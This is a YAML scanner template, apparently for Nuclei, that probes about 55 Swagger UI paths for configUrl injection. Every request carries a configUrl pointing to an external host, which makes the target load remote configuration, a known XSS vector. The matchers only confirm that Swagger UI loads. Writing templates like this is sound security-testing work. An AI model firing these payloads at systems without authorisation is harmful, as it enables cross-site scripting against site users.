86 lines
5.1 KiB
YAML
86 lines
5.1 KiB
YAML
|
id: swagger-ui-config-url-injection-Extensive
|
||
|
|
|
||
|
|
info:
|
||
|
|
name: Swagger UI Config URL Injection
|
||
|
|
author: Shadowbyte
|
||
|
|
severity: low
|
||
|
|
description: Detects if adding a configUrl parameter to Swagger UI endpoints leads to successful load (HTTP 200) and presence of Swagger UI content. Includes versioned paths.
|
||
|
|
tags: swagger-ui,xss,injection
|
||
|
|
|
||
|
|
requests:
|
||
|
|
- method: GET
|
||
|
|
path:
|
||
|
|
- '{{BaseURL}}/?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/index.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/swagger-ui?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/docs/?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/idm/v2/api-docs?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/docs/api-reference?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/swaggerui?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/help?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/doc?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api-reference?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/swagger/docs/v1?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/reference?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/swagger/ui/index?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/swagger/index.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/swagger/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api-docs/?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/index.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/docs/?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/swagger/index.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/swagger/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/swagger-ui/api-docs?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/api-docs?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/apidocs?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/swagger?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/swagger/static/index.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/swagger-resources?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/swagger-resources/restservices/v2/api-docs?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/__swagger__/?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/_swagger_/?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/spec?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/swagger/ui/index?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/__swagger__/?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/v2/doc?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/v1/?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/v1/doc?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/_swagger_/?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/swagger-resources/restservices/v2/api-docs?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/classicapi/doc/?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/api/v1/openapi?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
# Versioned paths
|
||
|
|
- '{{BaseURL}}/v0.12/index.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/v0.11/index.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/v0.10/index.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/v0.9/index.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/v0.8/index.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/v0.7/index.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/v0.6/index.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/v0.5/index.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/v0.4/index.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/v0.3/index.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/v0.2/index.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
- '{{BaseURL}}/v0.1/index.html?configUrl=https://xss.smarpo.com/test.json'
|
||
|
|
|
||
|
|
redirects: true
|
||
|
|
max-redirects: 3
|
||
|
|
|
||
|
|
matchers-condition: and
|
||
|
|
matchers:
|
||
|
|
- type: word
|
||
|
|
part: body
|
||
|
|
words:
|
||
|
|
- "swagger-ui" # Swagger UI specific identifier
|
||
|
|
- "swagger-initializer" # Swagger UI common script
|
||
|
|
- "api-docs" # Often present in API docs
|
||
|
|
- "swagger.json" # Common in Swagger UI
|
||
|
|
condition: or
|
||
|
|
|
||
|
|
- type: status
|
||
|
|
status:
|
||
|
|
- 200
|